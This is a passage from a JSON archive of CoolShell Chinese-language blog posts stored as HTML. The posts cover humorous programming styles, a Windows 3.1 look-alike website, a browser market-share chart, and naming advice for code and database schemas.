align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1850.html\"><img alt=\"Javascript程序员嘴最脏??\" height=\"150\" src=\"../wp-content/uploads/2009/11/programming_language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-22 各种流行的编程风格.html",
    "content": "<html><body><p>在过去的N年中，我遇到了很多使用囧然不同风格的开发者，下面是我所知道的一些，你还知道其它的吗？</p>\n<h4>散弹枪编程</h4>\n<p>这种编程风格是一种开发者使用非常随意的方式对待代码。“嗯，这个方法调用出错了……那么我会试着把传出的参数从 <strong>false</strong> 变成 <strong>true</strong>!”，当然依然出错，于是我们的程序员会这样：“好吧，那我就注释掉整个方法吧”，或是其它更为随意的处理方式，直到最后让这个调用成功。或是被旁边的某个程序员指出一个正确的方法。</p>\n<p>如果我们把一个正规的程序员和一个撞大运的程序员放在一起做结地，那么，那个正规的程序可以马上变得发疯起来，并且，可以把正规的程序员的智商降到最低。两个撞大运的程序员不应该在一起做结对编程，这是因为他们破坏性的才能会造成的伤害会比只有一个还差。</p>\n<h4>撞大运编程</h4>\n<p>这是一种比散弹枪编程要温和一些的编程方式，我相信这种方式可能会是大多数程序员都会使用的方式。这种编程方式经常出现于程序员并不确切知道他们在干什么，也不知道所写的程序的本质和实际，但是可以让程序工作起来。他们以一种撞大运的方式在写程序，某些时候，他们根本就不知道某个错误的原因，就开始稀里糊涂地修改代码。一旦出现问题，他们会用两条路：1）停下来，理解一下程序，找到出错的原因。2）使用散弹枪编程方式开始解决问题。</p>\n<p>测试驱动开发（Test Driven Development）是一种可以用来拯救上百万的撞大运编程的程序员。于是，他们有了一个更为NB的借口：只要我的程序通过测试了，你还有什么话好说？别骂我，测试驱动开发是一个不错的事物，其主要是用来控制撞大运开发所带来的问题。</p>\n<h4><span id=\"more-2058\"></span><br/>\nCargo-Cult 编程</h4>\n<p>关于Cargo Cults 这个词儿来自二战期间的某些太平洋上小岛里的土著人。在战争期间，美国利用这些小岛作为太平洋战场上的补给站。他们在这些小岛上修建自己的飞机跑道以用来运输战争物资。而那些小岛上的土著人从来没有见过飞机，当他们看到飞机的时候，觉得相当的牛，可以为那些白人带来各种各样的物品和食物。当二战结束后，那些土著人仿照着修建了飞机跑道，并用竹子修建了塔台。然后就在那期望着有飞机为他们送来物品和食物。</p>\n<p>Cargo Cult 编程是一种非常流行的编程方法，使用这种方法的程序员会学习其它编程高手的编程方法，虽然他们并不知道为什么高手们要那样做，但是他们觉得那样做可以让程序工作起来。举个例子，当时有大量的程序员在J2EE出现的第一年中过度地使用了EJBs和Entity Beans。</p>\n<h4>刻舟求剑编程</h4>\n<p>刻舟求剑是一个很流行的寓言了。这种风格的编程在程序员的圈子里是非常常见的。比如，有一天，你发现了一个空指会的异常，于是你到了产生空指针异常的地方，简单地放上一个判断： <code>if (p != NULL)。</code></p>\n<p>是的，这样的fix可以让你的程序工作起来，但你并没有真正地解决问题。你只不过是在你的船边记下了剑掉下去的位置，这样做只不过把问题隐藏起来，最终只会让你的程序的行为变得神出鬼没。你应该找到为什么指针会为空的原因，然后再解决这个问题。</p>\n<h4>设计模式驱动型编程</h4>\n<p>正如这种编程的名字所说的，这种编程风格使用大量的设计模式，在你的程序中，四处都是设计模式，你的代码到处都是Facade，Observer ，Strategy，Adapter，等等等等。于是，你的程序要处理的业务逻辑被这些设计模式打乱得无法阅读，最后，也不知道是业务需求重来，还是设计模式重要，总之，实际业务需求的程序逻辑被各种设计模式混乱得不堪入目。</p>\n<h4>侦探型编程</h4>\n<p>在解决一个Bug的时候，侦探型程序员会调查这个Bug的原因。然后，则调查引发这个BUG的原因的原因。再然后，其会分析修正代码后是否会导致其它代码失败的因果关系。再然后然后，他会使用文本搜索查找所有使用这个改动的代码，并继续查找更上一级的调用代码。最后，这个程序员会写下30个不同的情形的测试案例，就算这些测试案例和那个Bug没有什么关系，最最后，这个程序员有了足够多的信心，并且精确地修正了一个拼写错误。</p>\n<p>与此同时，其它一个正常的程序修正了其它5个Bug。</p>\n<h4>屠宰式编程</h4>\n<p>使用这种风格的程序员，对重构代码有着一种难以控制的极端冲动。他们几乎会重构所有经手的代码。就算是在产品在Release的前夜，当他在修正几个拼写错误的bug同时，其会修改10个类，以及重构与这10个类有联系的另20个类，并且修改了代码的build脚本，以及5个部署描述符。</p>\n<p>文章：<a href=\"http://www.codeinstructions.com/2008/10/styles-of-programming.html\" target=\"_blank\">来源</a><br/>\n（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5292.html\"><img alt=\"弱爆程序员的特征值\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2058.html\">各种流行的编程风格</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-25 一个Windows 3.1的Web网站.html",
    "content": "<html><body><p>啥也不说了，请大家围观下面这个网站吧。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.michaelv.org/\" target=\"_blank\"><strong>http://www.michaelv.org/</strong></a></p>\n<p style=\"text-align: left;\">打开这个网站，你会看到N年前DOS时代的Windows 3.1的界面，居然还可以扫雷，呵呵。真应了那句话——“只要是可以被Javascript实现的应用或程序，最终都会被Javascript所实现”。另，关于其它Web上更为疯狂的程序，可以查看本站的<a href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">这篇文章</a>。还有这个<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>。下面是win3.1的截图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/Win32web.jpg\"><img alt=\"\" class=\"alignnone size-full wp-image-2066\" height=\"480\" src=\"../wp-content/uploads/2010/01/Win32web.jpg\" title=\"一个Windows3.1的web网站\" width=\"640\"/></a> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2065.html\">一个Windows 3.1的Web网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-25 一个浏览器市场占有量的图.html",
    "content": "<html><body><p>下面这个网站是一个关于Web浏览器的市场占有量的图：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.michaelvandaniker.com/labs/browserVisualization/\" target=\"_blank\">http://www.michaelvandaniker.com/labs/browserVisualization/</a></p>\n<p style=\"text-align: left;\">这个图是从2002年到2009年，也许未来还会更新，把鼠标移到每个弧上你可以看到那个浏览器的的占有量的百分比。如下图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history.jpg\"><img alt=\"\" height=\"396\" src=\"../wp-content/uploads/2010/01/browser_history.jpg\" title=\"浏览器市场占有量图\" width=\"500\"/></a> </p>\n<p>这个图本来没有什么，但制作者把其做成了一个圆弧形，这样，看下来就有些不一样了。你还没有看出来？让我们来对比一下这个图和FireFox的logo吧。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/01/firefoxlogo.jpg\"><img alt=\"\" height=\"210\" src=\"../wp-content/uploads/2010/01/firefoxlogo.jpg\" title=\"firefox的logo比较\" width=\"400\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2936.html\"><img alt=\"Mozilla的一个BUG\" height=\"150\" src=\"../wp-content/uploads/2010/09/Mozilla-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1714.html\"><img alt=\"Firefox插件WebMail Notifier\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11609.html\"><img alt=\"TCP 的那些事儿（下）\" height=\"150\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/799.html\"><img alt=\"电子书：编译器设计基础\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/799.html\">电子书：编译器设计基础</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-6 程序命名的一些提示.html",
    "content": "<html><body><p>选择一个正确的名字是编程中最重要的事。以前酷壳向大家推荐过两篇文章《<a href=\"https://coolshell.cn/articles/1038.html\" rel=\"bookmark\">编程命名中的7+1个提示</a>》 和《<a href=\"https://coolshell.cn/articles/990.html\" title=\"编程中的命名设计那点事\">编程中的命名设计那点事</a>》，今天再向大家推荐一篇。一个正确的命名可以让你更容易地理解代码的程序，好的命名可以消除二义性，消除误解，并且说明真实的意图，甚至可以让你有清新的气息以让你更能吸引异性。;-)</p>\n<h3>方法，类和变量</h3>\n<div>正确的名字可以让你的程序顾名思义，下面是一些提示：</div>\n<ul>\n<li><strong>不要使用”<span style=\"font-family: 'courier new', monospace;\">ProcessData()</span>“这样的命名</strong><br/>\n你如果在你的程序生涯中使用这样的函数名，那么这意味着你将是一个不合格的程序员而会被淘汰或解雇。请<strong>明确实际的功能</strong>。比如：<code>ValidateUserLogin（验证用户登录）</code> 或 <code>EliminateDuplicateRequests（去除重复请求）</code> 或 <code>ComputeAverageAge（计算平均年龄），等等。</code></li>\n<li><strong>让命名来帮你设计程序</strong><br/>\n让我们假装有这么一条规则是——“任何的函数是有输入/输出的”，那么，你需要思考的是所有的把input变成ouptut的步骤，然后，你可以选择一个简短的句了来说明你的这段程序，然后，把这个短句再精练一下，最终成为你的函数名，而那个短句则成了你程序的结构。</li>\n</ul>\n<p><span id=\"more-1990\"></span></p>\n<ul>\n<li><strong>命令不应该是模糊的</strong><br/>\n如果你有一个类名叫：<code>FilterCriteria</code> ，但实际上其可用于文件过滤，那么这个类应该叫做： <code>FileFilterCriteria ，就算是你真要想要用</code> FilterCriteria，那它也应该是抽象类。</li>\n<li><strong>避免过多的工作</strong><br/>\n这只是一个风格上的事情，但还是需要注意一下。在上面，我们使用到了 <code>ValidateUserLogin</code> 和 <code>EliminateDuplicateRequests两个名字，这两个命令看上去需要做很多比较复杂的事。所以，让你的名字变简单一些也有利于你的程序更容易阅读和维护。一个软件本来就是由不同的模块拼成，而一个模块又是由更细小的函数和类拼成。编程中，我们都知道，一个函数的尺寸应该控制在200行以内，一个类的接口应该控制在20个以内。所以，从其名字上我们就不要让一个名字取得太大了。</code></li>\n<li><strong>避免类名以 “Manager” 结尾</strong><br/>\n这样会让你类变成一个黑盒子，当然，有一些程序员喜欢使用这样的名字让那个类看起来好像更强大一些，但其实这样并不好。一般来说使用Manager这个字眼通常是使用工厂模式，或是一个容器，所以，对于一些最基本的算法或是数据结构的封装，最好是在其名字上体现这一算法或数据结构的名字，如： <code>SortedList</code> 和<code>ConnectionPool 。</code></li>\n<li><strong>为你的枚举类型使用单数名字<br/>\n</strong>一个枚举类型会列出所有可能的值，所以，叫<code>animalType</code> 会比 <code>animalTypes 要好。</code></li>\n<li><strong>匈牙利命名应该更多的关注名字的含义而不是类型</strong><br/>\n<a href=\"http://en.wikipedia.org/wiki/Hungarian_notation\" rel=\"nofollow\">匈牙利命名</a>是一个以前很流行的命名方法，其给出了一整套的方法告诉你如何标记你的变量的类型，但可惜的是很多程序员过多的关注了变量了类型，而不是变量名的含义。而变量名的含义才是根本。</li>\n<li><strong>不要让名字隐藏了内在</strong><br/>\n比如，我们有段代码需要处理用户的输入，把其转成UTF-8码，然后标准化（比如一些协议），最后再处理相应的转义字符。千万不要把这函数命名为<code>Escape()</code> ，因为你需要调用 <code>ToUTF8()</code> 以及<code>NormalizeEntities()</code> 最后才是 <code>Escape()</code> 函数。如果你希望使用一个函数名来做这三件事，那么，你宁可使用一个模糊的名字再加上充分的注释，而不是一个确切的名字。模糊的名字会让别人在阅读时想进去看看，而确切的名字则会让别人在阅读代码时忽略细节（这看起来和第一点有点矛盾，其实也是为了程序的易读）。比如：<code>ProcessUserInput()</code></li>\n<li><strong>一致性, <strong>一致性</strong>, <strong>一致性</strong></strong><br/>\n强调文章和代码的一致性，就算是文档写得再详细，我们也要去读代码，所以文档主要是体现思路和反映需求和设计。在程序上，我们的命令应当和文档中的术语保持一致，而程序中的命名也应该是用和文档相同的风格，这样，我们可以少很多理解上的成本。</li>\n<li><strong>不要害怕改名<br/>\n</strong>有一些时候，你会觉得某具名字不合适，你需要改动一下。但你马上发现要改这个名字，需要修改很多的程序代码。在这里有一个原则，如果你的这个名字不是以API的方式发布时，那么你就应该不要害怕更改名字，就算是修改的工作量并不小，为了日后的更容易的阅读和维护，这是值得的。但是，如果这是一个API的名字，那我还是建议你不要改了，就算是你觉得这个名字烂得很。因为，当你的程序以API的形式发布后，会有N多的他人的程序依赖于这个名字，这个时候，兼容性和用户比什么都重要。</li>\n</ul>\n<h3>Frameworks 和 Libraries</h3>\n<div>你的用户是一个程序员，他需要使用你的代码进行二次开发。 Namespaces 将会是你重点需要注意的东西。</div>\n<div>\n<ul>\n<li><strong>使用namespaces 而不是类的前缀</strong><br/>\n希望你的编程序语言支持namespace，这样，你就可以使用它而不是在类名前面加前缀了。如果你所使用的语言不支持namespace，那么你应该上网看看其它程序员使用什么样的方式来区分自己的代码和别人的代码名字空间。</li>\n<li><strong>使用普通的namespace而不是使用公司名</strong><br/>\n使用公司名做namespace并不是一个好的相法，因为公司名很容易变更，比如，公司因为被收购，被控告，合并，重组等原因需要更名。产品的名字同样也会改变。所以，使用一个普通的namespaces会好一些。如STL，ACE等。</li>\n</ul>\n</div>\n<h3>数据库</h3>\n<div>Database Schemas 意为数据模型，所以，其名字应该和其领域是合乎逻辑的，而不是为了编程的方便。</div>\n<ul>\n<li><strong>数据表应使用复数</strong><br/>\n别使用单数形式，这是因为在远古的ORM 中需要使用单数的形式来定义类名。而且，一个表中包含了许多行数据，所以也应该是复数的。如，”<span style=\"font-family: 'courier new', monospace;\">items</span>“, “<span style=\"font-family: 'courier new', monospace;\">customers</span>“, “<span style=\"font-family: 'courier new', monospace;\">journalEntries</span>” 等等。,</li>\n<li><strong>为那些包括派生数据或是日常处理的表使用aux_ 和meta_ 前缀</strong><br/>\n这些表中的数据都是用来做为临时处理的，所以，你需要一个前缀或是后缀来使他们区别于实际的表。</li>\n<li><strong>为主键加入表名<br/>\n</strong>如果你有一张表叫 “<span style=\"font-family: 'courier new', monospace;\">driverLicenses</span>” 而ID 列是主键，那么你应该把这个主键命名为”<span style=\"font-family: 'courier new', monospace;\">driverLicense_id</span>” 而不是”id”。这样做的好处是，当你在连接两个表的时候，你不需要为主键指定表名，如： “<span style=\"font-family: 'courier new', monospace;\">driverLicense.id</span>” 或”<span style=\"font-family: 'courier new', monospace;\">vehicle.id</span>“，也不需要为其取别名。</li>\n<li><strong>使用后缀来标识类</strong><br/>\n这样的例子很多，比如：ISBN 和Dewey Decimal numbers，VIN等等.<br/>\nJoe Celko有一篇文章叫 <a href=\"http://www.amazon.com/gp/product/0120887975?ie=UTF8&amp;tag=synesmedia-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0120887975\" rel=\"nofollow\">SQL Programming Style</a>提到了下面这样的风格：<br/>\n<span style=\"font-family: 'courier new', monospace;\">_id</span> 主键<br/>\n<span style=\"font-family: 'courier new', monospace;\">_nbr</span> 字符串型的数位（有严格的规则，如：车牌号，身份证号，手机号等）<br/>\n<span style=\"font-family: 'courier new', monospace;\">_code</span> 标准化编码(如：邮编，ISO 国家编码)<br/>\n<span style=\"font-family: 'courier new', monospace;\">_cat</span> 种类名<br/>\n<span style=\"font-family: 'courier new', monospace;\">_class</span> 子集<br/>\n<span style=\"font-family: 'courier new', monospace;\">_type</span> 稍不正式的类名，比如，驾照中的，”摩托车”, “汽车”, and “出租车” 类型。</li>\n</ul>\n<h3>其它</h3>\n<div>\n<ul>\n<li><strong>对于“物理上”的东西，命名其是什么，而不是做什么</strong><br/>\n比如某些物理上的名字，姓名，性别，文件路径，网络链接，文件描述符，下标索引，类的属性，这些都是物理上的东西，所以，其名字应该是标识其是什么，而不是用来做什么。</li>\n<li><strong>对于“逻辑上”的东西，命名其做什么，而不是是什么</strong><br/>\n比如某些逻辑上的名字，函数名，数据结构，等。</li>\n<li><strong>避免”Category” 问题</strong><br/>\n千万别使用”Category” 作为你的属性名，因为，你会马上发现，这并不靠谱，因为这就等于什么没有说。与此相类似的还有”type” ，”kind” ，”variant” ，”classification” ，”subcategory” 等，对于这些名字，没人知道其是什么东西。而应该使用更为明确的分类，如： “FuelEfficiencyGrade”, “PackagingType”, “AgeGroup”, “Flamability”, “AllergenLevel”, 等等。</li>\n</ul>\n<div>文章：<a href=\"http://sites.google.com/site/yacoset/Home/naming-tips\" target=\"_blank\">来源</a></div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" 